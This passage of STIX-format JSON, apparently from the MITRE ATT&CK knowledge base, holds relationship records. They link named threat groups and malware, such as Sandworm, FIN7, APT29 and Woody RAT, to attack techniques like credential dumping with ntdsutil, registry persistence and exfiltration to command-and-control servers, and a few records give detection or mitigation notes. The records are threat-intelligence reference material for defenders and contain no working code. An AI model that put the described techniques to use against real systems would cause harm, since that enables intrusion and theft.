2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--342fb7f0-ef23-4b17-8550-750cbe5c8723","created":"2023-01-20T18:35:51.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:15:58.255Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used `ntdsutil.exe` to back up the Active Directory database, likely for credential access.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34319090-f87a-431b-a6c1-38d8494495b6","type":"relationship","created":"2021-09-22T14:33:04.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T14:33:04.210Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has conducted broad phishing campaigns using malicious links.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3434121e-a4d6-43a7-b905-78c52f5a12bd","type":"relationship","created":"2020-08-17T12:57:12.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T12:57:12.185Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can place a lnk file in the Startup Folder to achieve persistence.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--34351a4f-ea7c-4420-9063-1d8644073ea7","created":"2022-03-25T14:32:35.647Z","x_mitre_version":"1.0","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can generate shellcode outputs that execute via Ruby.(Citation: Donut Github)\t","modified":"2022-04-18T16:24:56.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3436ac2b-eadf-4aec-bd3a-cb814fd057b8","type":"relationship","created":"2021-10-08T15:22:00.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:22:00.002Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) has used Windows API calls to obtain information about the compromised host.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34371a06-bc30-47c0-89c7-cae8bb7a6f22","created":"2024-03-01T18:56:59.880Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T18:56:59.880Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) masqueraded malicious installers as Windows update packages to evade defense and entice users to execute binaries.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3438e84b-4e73-434a-a699-15289a09d64c","created":"2023-07-27T20:31:57.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-06T13:45:14.387Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used `nslookup` and `ipconfig` for network reconnaissance efforts. [FIN13](https://attack.mitre.org/groups/G1016) has also utilized a compromised Symantec Altiris console and LanDesk account to retrieve network information.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--343c6e94-fda1-41d6-865e-6a30570afb98","created":"2022-01-10T19:52:49.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.924Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can stage local data in the Windows Registry.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--343d285a-e910-487b-8e85-dc87cdb63be3","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.313Z","description":"[APT29](https://attack.mitre.org/groups/G0016) added Registry Run keys to establish persistence.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--343d7841-5334-4621-8e2d-8a3cc92e4b0e","created":"2024-08-09T19:00:18.703Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T19:00:18.703Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can send `HTTP GET` requests to  C2.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--343e78cb-dbe9-4421-aca3-a8a973553c7a","created":"2021-09-29T15:41:18.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FSI Andariel Campaign Rifle July 2017","description":"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.","url":"https://fsiceat.tistory.com/2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:22:43.286Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has collected large numbers of files from compromised network systems for later extraction.(Citation: FSI Andariel Campaign Rifle July 2017)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--343f8f2b-39d1-48cb-8787-3a6eeab3ddf9","type":"relationship","created":"2020-03-14T22:45:53.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T22:45:53.101Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34407c81-aca5-477e-a978-a66f32ae6545","type":"relationship","created":"2020-03-14T23:36:52.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:36:52.279Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3445ad37-1738-45c3-aabd-dcc048d2ad2d","created":"2022-09-16T15:58:01.603Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:58:01.603Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors relied on a victim to click on a malicious link distributed via phishing emails.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--344bbf55-0316-49d0-a5ab-c5f79d218908","created":"2023-02-14T18:33:57.820Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:33:57.820Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can exfiltrate files from an infected machine to its C2 server.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--344e4ab0-d480-4d70-b64d-539cf5f26c96","created":"2024-08-14T22:19:49.590Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:19:49.590Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) uses WMI queries to query system information on victim hosts.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--344f58f9-fefa-4c50-888c-25b2ef9e7dd2","created":"2019-01-29T19:36:02.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GovCERT Carbon May 2016","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","url":"https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-19T18:36:51.865Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses the netstat -r and netstat -an commands.(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34503727-d78b-4e67-b944-83546cc473e2","type":"relationship","created":"2019-06-20T14:32:08.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-10-15T22:45:50.927Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3450fcde-caba-4595-b28b-99f18b4a4b7a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BH Manul Aug 2016","description":"Galperin, E., Et al.. (2016, August 4). When Governments Attack: State Sponsored Malware Attacks Against Activists, Lawyers, and Journalists. Retrieved May 23, 2018.","url":"https://www.blackhat.com/docs/us-16/materials/us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf"}],"modified":"2021-05-31T16:31:47.946Z","description":"[Bandook](https://attack.mitre.org/software/S0234) contains keylogging capabilities.(Citation: BH Manul Aug 2016)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3454bb10-fad3-48b6-b20a-81cb45e7bbc1","type":"relationship","created":"2020-09-23T20:30:55.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-06T17:25:07.656Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used shellcode which reads code stored in the registry keys \\REGISTRY\\SOFTWARE\\Microsoft\\DRM using the native Windows API as well as read HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces as part of its C2.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34558338-caef-4e28-8512-8f42746dd256","created":"2024-05-16T19:50:36.953Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T19:50:36.953Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted extensive pre-compromise reconnaissance to learn about the target organization’s network.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3456ec22-b2ac-470d-8a01-f5d5797a3521","type":"relationship","created":"2019-01-30T15:10:04.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-17T18:53:32.977Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to execute VBS scripts on the victim’s machine.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3458724f-910b-49a8-9810-836b4e1436bc","created":"2022-03-30T14:26:51.852Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network traffic content for files and other potentially malicious content, especially data coming in from abnormal/unknown domain and IPs.","modified":"2022-04-18T18:48:15.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--345c6135-7557-4292-8214-66618ba17edd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aquino RARSTONE","description":"Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"}],"modified":"2020-03-17T02:22:28.263Z","description":"[RARSTONE](https://attack.mitre.org/software/S0055) uses SSL to encrypt its communication with its C2 server.(Citation: Aquino RARSTONE)","relationship_type":"uses","source_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--345de5a8-3ed7-4784-a62f-88059e2a5206","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3464b769-7884-4721-8384-1771472f668d","type":"relationship","created":"2019-01-29T19:55:47.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:42.699Z","description":"[Epic](https://attack.mitre.org/software/S0091) has a command to delete a file from the machine.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3465231b-93b2-47ea-8c4f-f1f7e9d9be1b","type":"relationship","created":"2019-06-20T01:02:00.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.342Z","description":"[Turla](https://attack.mitre.org/groups/G0010) and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes.(Citation: ESET Turla PowerShell May 